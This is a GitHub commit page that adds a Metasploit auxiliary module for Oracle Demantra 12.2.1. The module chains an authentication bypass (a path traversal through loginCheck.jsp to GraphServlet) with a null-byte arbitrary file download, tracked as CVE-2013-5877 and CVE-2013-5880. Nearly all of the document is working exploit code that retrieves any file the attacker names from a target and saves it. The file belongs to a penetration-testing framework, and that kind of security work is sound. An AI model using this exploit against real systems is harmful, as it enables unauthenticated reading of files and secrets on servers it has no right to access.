Skip to content

Commit 0c88372

Browse files
committed
Land rapid7#3149 - Oracle Demantra Arbitrary File Retrieval with auth bypass
2 parents 13d3d48 + 31dfae3 commit 0c88372

File tree

1 file changed

+82
-0
lines changed

1 file changed

+82
-0
lines changed
Lines changed: 82 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Auxiliary::Scanner
11+
include Msf::Auxiliary::Report
12+
include Msf::Exploit::Remote::HttpClient
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Oracle Demantra Arbitrary File Retrieval with Authentication Bypass',
17+
'Description' => %q{
18+
This module exploits a file downlad vulnerability found in Oracle Demantra 12.2.1 in
19+
combination with an authentication bypass. This way an unauthenticated user can retreive
20+
any file on the system by referencing the full file path to any file a vulnerable machine.
21+
},
22+
'References' =>
23+
[
24+
[ 'CVE', '2013-5877'],
25+
[ 'CVE', '2013-5880'],
26+
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5877/'],
27+
[ 'URL', 'https://www.portcullis-security.com/security-research-and-downloads/security-advisories/cve-2013-5880/']
28+
],
29+
'Author' =>
30+
[
31+
'Oliver Gruskovnjak'
32+
],
33+
'License' => MSF_LICENSE,
34+
'DisclosureDate' => "Feb 28 2014"
35+
))
36+
37+
register_options(
38+
[
39+
Opt::RPORT(8080),
40+
OptBool.new('SSL', [false, 'Use SSL', false]),
41+
OptString.new('FILEPATH', [true, 'The name of the file to download', 'c:/windows/win.ini'])
42+
], self.class)
43+
44+
deregister_options('RHOST')
45+
end
46+
47+
def run_host(ip)
48+
filename = datastore['FILEPATH']
49+
authbypass = "/demantra/common/loginCheck.jsp/../../GraphServlet"
50+
51+
res = send_request_cgi({
52+
'uri' => normalize_uri(authbypass),
53+
'method' => 'POST',
54+
'encode_params' => false,
55+
'vars_post' => {
56+
'filename' => "#{filename}%00"
57+
}
58+
})
59+
60+
if res.nil? or res.body.empty?
61+
fail_with("No content retrieved from: #{ip}")
62+
end
63+
64+
if res.code == 404
65+
print_error("#{rhost}:#{rport} - File not found")
66+
return
67+
end
68+
69+
if res.code == 200
70+
print_status("#{ip}:#{rport} returns: #{res.code.to_s}")
71+
fname = File.basename(datastore['FILEPATH'])
72+
path = store_loot(
73+
'oracle.demantra',
74+
'application/octet-stream',
75+
ip,
76+
res.body,
77+
fname)
78+
79+
print_good("#{ip}:#{rport} - File saved in: #{path}")
80+
end
81+
end
82+
end

0 commit comments

Comments
 (0)